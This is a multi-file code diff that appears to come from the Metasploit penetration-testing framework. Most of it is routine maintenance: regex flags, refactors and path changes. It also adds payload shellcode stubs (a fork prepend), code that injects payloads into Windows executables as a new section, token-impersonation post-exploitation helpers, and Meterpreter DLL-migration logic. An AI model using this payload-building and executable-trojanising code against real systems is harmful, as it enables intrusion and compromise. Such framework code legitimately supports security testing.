if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/
if res.code == 302 and res.headers and res.headers['Location'] =~ /[\x5c\x2f](login|setup)$/n
if res['Server'] =~ /^(thin.*No Hup)|(nginx[\x5c\x2f][\d\.]+)$/n
extras << "Metasploit"
end
end

View File

@ -694,9 +694,10 @@ module Exploit::Remote::MSSQL
if(info[:rows] and not info[:rows].empty?)
tbl = Rex::Ui::Text::Table.new(
'Indent' => 1,
'Header' => "",
'Columns' => info[:colnames]
'Indent' => 1,
'Header' => "",
'Columns' => info[:colnames],
'SortIndex' => -1
)
info[:rows].each do |row|

View File

@ -110,9 +110,9 @@ module Exploit::Remote::MYSQL
end
if plugin_res.respond_to? :split
target_path = plugin_res.split(/[\x5c\x2f]+/).join("/") << "/"
target_path = plugin_res.split(/[\x5c\x2f]+/n).join("/") << "/"
elsif base_res.respond_to? :split
target_path = base_res.split(/[\x5c\x2f]+/).join("/") << "/bin/"
target_path = base_res.split(/[\x5c\x2f]+/n).join("/") << "/bin/"
else
print_error "Cannot determine the plugin directory."
return false
@ -123,7 +123,7 @@ module Exploit::Remote::MYSQL
print_status "Checking for temp directory..."
res = mysql_get_variable("@@tmpdir")
if res.respond_to? :split
target_path = res.split(/[\x5c\x2f]+/).join("/") << "/"
target_path = res.split(/[\x5c\x2f]+/n).join("/") << "/"
else
print_error "Cannot determine the temp directory, exiting."
return false

View File

@ -11,8 +11,6 @@ module Msf
#
# written by corelanc0d3r <peter.ve [at] corelan.be>
#
# Version: $Revision$
#
###
module Exploit::Omelet

View File

@ -195,7 +195,7 @@ module Exploit::Remote::RealPort
# Send negotiate request
sock.put(pkt2)
res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/
if res.to_s =~ /^\xff/n
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed
end
@ -221,7 +221,7 @@ module Exploit::Remote::RealPort
sock.put(pkt3)
res = sock.get_once(-1, 5)
if res.to_s =~ /^\xff/
if res.to_s =~ /^\xff/n
vprint_status("#{target_host}:#{rport} Port:#{port} is closed: #{res.inspect}")
return :closed
end

View File

@ -645,7 +645,7 @@ module Exploit::Remote::SMB
buff << " FP: #{line}\n"
end
prov.split(/\x00\x00+/).each do |line|
prov.split(/\x00\x00+/n).each do |line|
line.gsub!("\x00",'')
line.strip!
next if line.length < 6
@ -755,8 +755,8 @@ module Exploit::Remote::SMBServer
if (pkt_nbs.v['Type'] == 0x81)
# Accept any name they happen to send
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/, '')
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/, '')
host_dst = UTILS.nbname_decode(pkt_nbs.v['Payload'][1,32]).gsub(/[\x00\x20]+$/n, '')
host_src = UTILS.nbname_decode(pkt_nbs.v['Payload'][35,32]).gsub(/[\x00\x20]+$/n, '')
smb[:nbdst] = host_dst
smb[:nbsrc] = host_src

View File

@ -336,9 +336,9 @@ class Payload < Msf::Module
# Check to see if the value is a hex string. If so, convert
# it.
if val.kind_of?(String)
if val =~ /^\\x/
val = [ val.gsub(/\\x/, '') ].pack("H*").unpack(pack)[0]
elsif val =~ /^0x/
if val =~ /^\\x/n
val = [ val.gsub(/\\x/n, '') ].pack("H*").unpack(pack)[0]
elsif val =~ /^0x/n
val = val.hex
end
end

View File

@ -19,6 +19,13 @@ module Msf::Payload::Linux
register_advanced_options(
[
Msf::OptBool.new('PrependFork',
[
false,
"Prepend a stub that executes: if (fork()) { exit(0); }",
"false"
]
),
Msf::OptBool.new('PrependSetresuid',
[
false,
@ -97,6 +104,17 @@ module Msf::Payload::Linux
# Prepend
if (datastore['PrependFork'])
pre << "\x6a\x02" +# pushb $0x2 #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 ; fork #
"\x85\xc0" +# test %eax,%eax #
"\x74\x06" +# jz 0xf #
"\x31\xc0" +# xor %eax,%eax #
"\xb0\x01" +# movb $0x1,%al ; exit #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc9" +# xorl %ecx,%ecx #
@ -197,10 +215,8 @@ module Msf::Payload::Linux
"\xcd\x80" # int $0x80 #
end
end
# Handle all Power/CBEA code here
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
# Prepend
@ -277,9 +293,21 @@ module Msf::Payload::Linux
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
"\x44\xff\xff\x02" # sc #
end
end
if (test_arch.include?(ARCH_X86_64))
elsif (test_arch.include?(ARCH_X86_64))
if (datastore['PrependFork'])
# if (fork()) { exit(0); }
pre << "\x6a\x39" # push 57 ; __NR_fork #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
pre << "\x48\x85\xc0" # test rax,rax #
pre << "\x74\x08" # jz 0x08 #
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x3c" # push 60 ; __NR_exit #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
@ -389,8 +417,8 @@ module Msf::Payload::Linux
# Append exit(0)
if (datastore['AppendExit'])
app << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x3c" # push 0x53 #
pre << "\x58" # pop rax #
app << "\x6a\x3c" # push 0x3c #
app << "\x58" # pop rax #
app << "\x0f\x05" # syscall #
end
end

View File

@ -14,7 +14,6 @@ module Payload::Osx::BundleInject
def initialize(info = {})
super(update_info(info,
'Name' => 'Mac OS X Inject Mach-O Bundle',
'Version' => '$Revision$',
'Description' => 'Inject a custom Mach-O bundle into the exploited process',
'Author' =>
[

View File

@ -12,9 +12,21 @@ require 'msf/core'
module Msf::Payload::Windows
require 'msf/core/payload/windows/prepend_migrate'
# Provides the #prepends method
# XXX: For some unfathomable reason, the order of requires here is
# important. If this include happens after require'ing the files
# below, it causes the windows/exec payload (and probably others) to
# somehow not have PrependMigrate despite having Payload::Windows,
# which leads to a NoMethodError on #prepends
include Msf::Payload::Windows::PrependMigrate
require 'msf/core/payload/windows/dllinject'
require 'msf/core/payload/windows/exec'
require 'msf/core/payload/windows/loadlibrary'
require 'msf/core/payload/windows/reflectivedllinject'
require 'msf/core/payload/windows/x64/reflectivedllinject'
#
# ROR hash associations for some of the exit technique routines.
#

View File

@ -16,7 +16,6 @@ module Payload::Windows::DllInject
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Inject DLL',
'Version' => '$Revision$',
'Description' => 'Inject a custom DLL into the exploited process',
'Author' =>
[

View File

@ -16,7 +16,6 @@ module Payload::Windows::Exec
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Execute Command',
'Version' => '$Revision$',
'Description' => 'Execute an arbitrary command',
'Author' => [ 'vlad902', 'sf' ],
'License' => MSF_LICENSE,

View File

@ -16,7 +16,6 @@ module Payload::Windows::LoadLibrary
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows LoadLibrary Path',
'Version' => '$Revision$',
'Description' => 'Load an arbitrary library path',
'Author' => [ 'sf', 'hdm' ],
'License' => MSF_LICENSE,

View File

@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject
def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective DLL Injection',
'Version' => '$Revision$',
'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ],
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],

View File

@ -20,7 +20,6 @@ module Payload::Windows::ReflectiveDllInject_x64
def initialize(info = {})
super(update_info(info,
'Name' => 'Reflective DLL Injection',
'Version' => '$Revision$',
'Description' => 'Inject a DLL via a reflective loader',
'Author' => [ 'sf' ],
'References' => [ [ 'URL', 'https://github.com/stephenfewer/ReflectiveDLLInjection' ] ],

View File

@ -177,6 +177,71 @@ module Accounts
:integrity_label
][enum_value - 1]
end
# Gets an impersonation token from the primary token.
#
# @return [Fixnum] the impersonate token handle identifier if success, nil if
# fails
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return nil
end
end
# Gets the permissions granted from the Security Descriptor of a directory
# to an access token.
#
# @param [String] dir the directory path
# @param [Fixnum] token the access token
# @return [String, nil] a String describing the permissions or nil
def check_dir_perms(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("L")
buffer_size = 500
#get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
sd = f["pSecurityDescriptor"]
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif (f['GetLastError'] == 2)
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
return nil
end
#check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return nil end
if r["GrantedAccess"] > 0 then result << "R" end
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
end
end # Accounts
end # Windows
end # Post

View File

@ -1546,7 +1546,8 @@ class Db
return
end
file = args[1] || ::File.join(Msf::Config.get_config_root, "database.yml")
if (::File.exists? ::File.expand_path(file))
file = ::File.expand_path(file)
if (::File.exists? file)
db = YAML.load(::File.read(file))['production']
framework.db.connect(db)

View File

@ -16,6 +16,7 @@ require 'rex/pescan'
require 'rex/zip'
require 'metasm'
require 'digest/sha1'
require 'msf/core/exe/segment_injector'
##
#
@ -66,6 +67,7 @@ require 'digest/sha1'
return template % hash_sub
end
##
#
# Executable generators
@ -185,80 +187,12 @@ require 'digest/sha1'
#try to inject code into executable by adding a section without affecting executable behavior
if(opts[:inject])
if endjunk
raise RuntimeError, "Junk at end of file. Is this a packed exe?"
end
#find first section file offset and free RVA for new section
free_rva = pe.hdr.opt.AddressOfEntryPoint
first_off = sections_end
pe.sections.each do |sec|
first_off = sec.file_offset if sec.file_offset < first_off
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
end
#align free_rva
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
#See if we can add a section
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
raise RuntimeError, "Not enough room for new section header"
end
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
start_rva = free_rva
#make new section, starting at free RVA
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
#pad to file alignment
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
#make new section header
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
new_sechead.v['VirtualAddress'] = free_rva
new_sechead.v['SizeOfRawData'] = new_sec.length
new_sechead.v['PointerToRawData'] = sections_end
# Create the modified version of the input executable
exe = ''
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
#New file header with updated number of sections and timedatestamp
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
#new optional header with new entry point, size of image, and size of code
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
new_opthead.v['AddressOfEntryPoint'] = start_rva
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
#kill certificate; if it exists, we just invalidated it
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
#new section header and new section
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
cks = pe.hdr.opt.CheckSum
if(cks != 0)
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
end
pe.close
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x86
})
exe = injector.generate_pe
return exe
end
@ -458,168 +392,100 @@ require 'digest/sha1'
return pe
end
def self.to_win32pe_exe_sub(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.exe")
def self.exe_sub_method(code,opts ={})
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
case opts[:exe_type]
when :service_exe
max_length = 8192
name = opts[:servicename]
if (code.length <= 4096)
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
when :dll
max_length = 2048
when :exe_sub
max_length = 4096
end
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= max_length)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
end
if opts[:exe_type] == :dll
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
end
return pe
end
def self.to_win32pe_exe_sub(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.exe")
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
end
def self.to_win64pe(framework, code, opts={})
# Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 4096)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
#try to inject code into executable by adding a section without affecting executable behavior
if(opts[:inject])
injector = Msf::Exe::SegmentInjector.new({
:payload => code,
:template => opts[:template],
:arch => :x64
})
exe = injector.generate_pe
return exe
end
return pe
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
end
def self.to_win32pe_service(framework, code, opts={})
name = opts[:servicename]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe")
pe = ''
File.open(opts[:template], 'rb') { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 8192)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
end
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
return pe
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
def self.to_win64pe_service(framework, code, opts={})
name = opts[:servicename]
# Allow the user to specify their own service EXE template
set_template_default(opts, "template_x64_windows_svc.exe")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 8192)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
end
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
return pe
opts[:exe_type] = :service_exe
exe_sub_method(code,opts)
end
def self.to_win32pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 2048)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
end
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
return pe
opts[:exe_type] = :dll
exe_sub_method(code,opts)
end
def self.to_win64pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows.dll")
pe = ''
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 2048)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
end
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
return pe
opts[:exe_type] = :dll
exe_sub_method(code,opts)
end
def self.to_osx_arm_macho(framework, code, opts={})

View File

@ -280,7 +280,7 @@ class RbMysql
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
# You should use place-holder in prepared-statement.
def escape_string(str)
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
case s
when "\0" then "\\0"
when "\n" then "\\n"

View File

@ -32,7 +32,7 @@ class RbMysql
alias get_client_info client_info
def escape_string(str)
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s|
str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
case s
when "\0" then "\\0"
when "\n" then "\\n"

View File

@ -5272,7 +5272,7 @@ module RbReadline
# Actually update the display, period.
def rl_forced_update_display()
if (@visible_line)
@visible_line.gsub!(/[^\x00]/,0.chr)
@visible_line.gsub!(/[^\x00]/n,0.chr)
end
rl_on_new_line()
@forced_display=true if !@forced_display
@ -8520,7 +8520,7 @@ module RbReadline
count -= 1
end
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string
case @encoding
when 'E'

View File

@ -116,7 +116,7 @@ module Rex
if query
@state[:query] = "?#{query}" # Can be nil
end
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/n
real_path = "/#{$1}"
else
real_path = path

View File

@ -176,7 +176,7 @@ module Rex
:os_family => os_family,
:os_version => os_version,
:os_accuracy => 100,
:os_match => os_info.gsub(/\x2e$/,"")
:os_match => os_info.gsub(/\x2e$/n,"")
}
end
end

View File

@ -1627,8 +1627,8 @@ class PeBase
if (rname & 0x80000000 != 0)
rname &= ~0x80000000
unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ]
unistr, trash = unistr.split(/\x00\x00/, 2)
return unistr ? unistr.gsub(/\x00/, '') : nil
unistr, trash = unistr.split(/\x00\x00/n, 2)
return unistr ? unistr.gsub(/\x00/n, '') : nil
end
rname.to_s

View File

@ -38,7 +38,7 @@ class Section
return nil if !_section_header
# FIXME make this better...
_section_header.v['Name'].gsub(/\x00+$/, '')
_section_header.v['Name'].gsub(/\x00+$/n, '')
end
def flags

View File

@ -4,6 +4,9 @@
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/extension'
require 'rex/post/meterpreter/client'
# Used to generate a reflective DLL when migrating. This is yet another
# argument for moving the meterpreter client into the Msf namespace.
require 'msf/core/payload/windows'
module Rex
@ -147,7 +150,7 @@ class ClientCore < Extension
end
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
if (opts['ExtensionPath'])
path = opts['ExtensionPath']
@ -209,7 +212,7 @@ class ClientCore < Extension
# Include the appropriate reflective dll injection module for the target process architecture...
if( process['arch'] == ARCH_X86 )
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
binary_suffix = "dll"
binary_suffix = "x86.dll"
elsif( process['arch'] == ARCH_X86_64 )
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
binary_suffix = "x64.dll"
@ -219,7 +222,7 @@ class ClientCore < Extension
# Create the migrate stager
migrate_stager = c.new()
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" )
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" )
blob = migrate_stager.stage_payload
@ -297,7 +300,7 @@ class ClientCore < Extension
client.binary_suffix = 'x64.dll'
else
client.platform = 'x86/win32'
client.binary_suffix = 'dll'
client.binary_suffix = 'x86.dll'
end
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)

View File

@ -46,11 +46,7 @@ class Priv < Extension
elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
if( client.platform == 'x64/win64' )
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
else
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
end
elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" )
elevator_path = ::File.expand_path( elevator_path )

View File

@ -249,7 +249,7 @@ class Registry
response = client.send_request(request)
cls = response.get_tlv(TLV_TYPE_VALUE_DATA)
return nil if not cls
data = cls.value.gsub(/\x00.*/, '')
data = cls.value.gsub(/\x00.*/n, '')
return data
end

View File

@ -157,7 +157,7 @@ class UI < Rex::Post::UI
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )
# include the x64 screenshot dll if the host OS is x64
if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.x64.dll' )
screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x64.dll' )
screenshot_path = ::File.expand_path( screenshot_path )
screenshot_dll = ''
::File.open( screenshot_path, 'rb' ) do |f|
@ -167,7 +167,7 @@ class UI < Rex::Post::UI
request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH, screenshot_dll.length )
end
# but allways include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
screenshot_path = ::File.join( Msf::Config.install_root, 'data', 'meterpreter', 'screenshot.dll' )
screenshot_path = ::File.join( Msf::Config.data_directory, 'meterpreter', 'screenshot.x86.dll' )
screenshot_path = ::File.expand_path( screenshot_path )
screenshot_dll = ''
::File.open( screenshot_path, 'rb' ) do |f|

View File

@ -377,7 +377,7 @@ class Console::CommandDispatcher::Core
case opt
when "-l"
exts = []
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter')
path = ::File.join(Msf::Config.data_directory, 'meterpreter')
::Dir.entries(path).each { |f|
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
exts.push($1)
@ -422,7 +422,7 @@ class Console::CommandDispatcher::Core
def cmd_load_tabs(str, words)
tabs = []
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter')
path = ::File.join(Msf::Config.data_directory, 'meterpreter')
::Dir.entries(path).each { |f|
if (::File.file?(::File.join(path, f)) && f =~ /ext_server_(.*)\.#{client.binary_suffix}/ )
if (not extensions.include?($1))

View File

@ -71,7 +71,7 @@ class Utils
ddm.payload.each do |param|
case param.codepoint
when Constants::SECMEC
info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/
info_hash[:plaintext_auth] = true if param.payload =~ /\x00\x03/n
when Constants::SECCHKCD
info_hash[:security_check_code] = param.payload.unpack("C").first
# A little spurious? This is always nonzero when there's no SECCHKRM DDM.

View File

@ -504,7 +504,7 @@ class Client
return resp unless resp.code == 401 && resp.headers['WWW-Authenticate']
# Get the challenge and craft the response
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/i).flatten[0]
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
return resp unless ntlm_challenge
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)

View File

@ -635,7 +635,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
info = ack['Payload'].v['Payload'].split(/\x00/)
info = ack['Payload'].v['Payload'].split(/\x00/n)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
self.default_domain = info[2]
@ -711,7 +711,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
info = ack['Payload'].v['Payload'].split(/\x00/)
info = ack['Payload'].v['Payload'].split(/\x00/n)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
@ -760,7 +760,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
self.auth_user_id = ack['Payload']['SMB'].v['UserID']
info = ack['Payload'].v['Payload'].split(/\x00/)
info = ack['Payload'].v['Payload'].split(/\x00/n)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
@ -841,7 +841,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen'])
# Extract the native lanman and os strings
info = data.split(/\x00/)
info = data.split(/\x00/n)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
@ -1019,7 +1019,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
blob = data.slice!(0, ack['Payload'].v['SecurityBlobLen'])
# Extract the native lanman and os strings
info = data.split(/\x00/)
info = data.split(/\x00/n)
self.peer_native_os = info[0]
self.peer_native_lm = info[1]
@ -1881,7 +1881,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
'C'+ # Short File Name Length
'C' # Reserved
)
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/, '')
name = resp_data[didx + 70 + 24, info[15]].sub(/\x00+$/n, '')
files[name] =
{
